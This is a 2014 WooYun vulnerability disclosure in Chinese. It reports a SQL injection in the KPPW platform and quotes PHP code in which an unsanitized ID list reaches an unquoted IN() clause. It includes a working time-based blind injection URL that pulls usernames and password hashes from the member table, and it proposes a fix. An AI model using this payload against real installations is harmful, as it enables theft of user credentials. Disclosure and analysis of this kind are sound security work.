当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-086886

漏洞标题：KPPW最新版SQL注入漏洞九(全局问题导致大面积注入及总结)

相关厂商：keke.com

漏洞作者： xfkxfk

提交时间：2014-12-12 15:33

修复时间：2015-01-18 15:34

公开时间：2015-01-18 15:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-12： 细节已通知厂商并且等待厂商处理中
2014-12-17： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-02-10： 细节向核心白帽子及相关领域专家公开
2015-02-20： 细节向普通白帽子公开
2015-03-02： 细节向实习白帽子公开
2015-01-18： 细节向公众公开

简要描述：

KPPW最新版SQL注入漏洞九，也是全局问题导致的大面积注入，这里申明不是在刷漏洞，因为每一个问题都很严重，都能引发很多问题...

详细说明：

KPPW最新版SQL注入漏洞九，也是全局函数的问题，导致大面积注入...
文件/control/user/account_auth.php

if ($code&&in_array($code,$arrAllowAuth)) {
	$code or $code = $keys ['0']; 
	$code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
	$auth_class = "keke_auth_" . $code . "_class";
	$objAuth = new $auth_class ( $code ); 
	$auth_item = $arrAllAuthItems [$code]; 
	$auth_dir = $auth_item ['auth_dir']; 
	$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid ); 
	require S_ROOT . "/auth/$code/control/index.php";
	require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
	die;
} else {
	$real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
	$arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
	$arrUserAuthInfo = $arrHasAuthItem ['info'];
}


这里包含了/auth/$code/control/index.php文件，这里的code我们设置为email
当然code有('realname','enterprise','bank','mobile','email')这五中形式
进入/auth/email/control/index.php文件：

case "step3":
			if($email_a_id&&$ac=='check_email'){
				$boolAuthRes = $objAuth->audit_auth($active_code,$email_a_id);
				header('location:index.php?do=user&view=account&op=auth&code=email');
			}
			if($arrAuthInfo['auth_status']==1){
				$auth_tips ='已通过';
				$auth_style = 'success';
			}elseif($arrAuthInfo['auth_status']==2){
				$auth_tips ='未通过';
				$auth_style = 'warning';
			}
		break;


第三步验证时，$active_code和$email_a_id参数进入验证函数audit_auth
跟进，文件/auth/email/lib/keke_auth_email_class.php

public function audit_auth($active_code,$email_a_id){
		global $_K, $kekezu,$_lang;
		$user_info=$kekezu->_userinfo;
		if(md5($user_info['uid'].$user_info['username'].$user_info['email'])==$active_code){
			$arrAuthInfo=$this->get_auth_info($email_a_id);
			if(empty($arrAuthInfo[0])){
				return false;
			}


这里参数$email_a_id又进入函数get_auth_info
跟进，文件/lib/sys/keke_auth_base_class.php

public function get_auth_info($auth_ids){
		if(isset($auth_ids)){
			if(!stristr($auth_ids,',')) {
			 	return  db_factory::query(sprintf(" select * from %s where %s = '%s'",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids));
			}else{
				return db_factory::query(sprintf(" select * from %s where %s in (%s) ",TABLEPRE.$this->_auth_table_name,$this->_primary_key,$auth_ids));
			}
		}else{
			return array();
		}
	}


到这里，参数$auth_ids = $email_a_id，进入了sql语句
但是当$auth_ids有逗号分隔的话，就进入下面那一条语句in ($auth_ids),在整个参数传递的过程中$auth_ids没有过滤，这里也没有加引号保护，导致注入。
下面我们来看看任何导致大面积注入
问题出在get_auth_info函数，位于文件/lib/sys/keke_auth_base_class.php
lib下面的文件都是系统的全局调用文件，这里的keke_auth_base_class.php也是一样，在所有关于认证的功能里面都会调用，如下面四个文件：

/auth/email/lib/keke_auth_email_class.php
/lib/sys/keke_auth_base_class.php
/lib/sys/keke_auth_base_class.php
/lib/sys/keke_auth_base_class.php


前面两个就是我们这里的漏洞分析，看看下面连个。

public function del_auth($auth_ids,$url=null) {
		global $_lang;
			$url ="index.php?do=auth&view=list&code=".$this->_auth_code;
		is_array($auth_ids) and $ids=implode(",",$auth_ids) or $ids=$auth_ids;
		$auth_info=$this->get_auth_info($ids);


以及

public function review_auth($auth_ids,$type='pass',$url=null){
		global $_lang;
		global $kekezu;
		if($url===null){
			$url = $_SERVER['HTTP_REFERER'];
		}
		$prom_obj = keke_prom_class::get_instance ();
		is_array($auth_ids) and $auth_ids=implode(",",$auth_ids);
		$auth_info=$this->get_auth_info($auth_ids);
		$size=sizeof($auth_info);


这里是在del_auth和review_auth函数处调用了漏洞函数get_auth_info
而且进入这两个函数的参数都是没有处理的，最后都直接进入了sql语句，导致sql注入
而且del_auth函数在认证过程中被调用的地方是21处...
review_auth函数在认证过程中被调用的地方是17处...
所以罪魁祸首get_auth_info函数，可以引发大面积的sql注入问题。
总结

在对kppw的系统进行审核过程中发现，只要是在进入sql语句时，如：in (变量)，这样的sql语句时，大部分是没有出来这里的变量的，都存在注入问题，请厂商好好排查这样的点


漏洞证明：

邮件认证时，发送邮件：

1.png


成功发送认证邮件后，看看邮箱收到的认证链接：

2.png


然后copy认证链接，构造参数email_a_id，注意这里的id后面的一个必须存在的id，如这里的2，构造后请求为：

http://localhost/KPPW2520141118UTF-8/index.php?do=user&view=account&op=auth&code=email&email_a_id=111111,2)+and+1=if(mid((select+concat(username,password)+from+keke_witkey_member+limit+0,1),1,1)=char(97),sleep(5),2)%23&ac=check_email&step=step3&ver=1&active_code=336f044bb5fbdc73ea5617330c715cfc


这里会演示5秒后返回：

3.png


说明这里username+passw的第一个字符为a，继续即可注入出username+password的值
sql执行日志：

4.png

修复方案：

在in里面加个单引号即可或者个in里面的参数适用intval

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-01-18 15:34

厂商回复：

最新状态：

暂无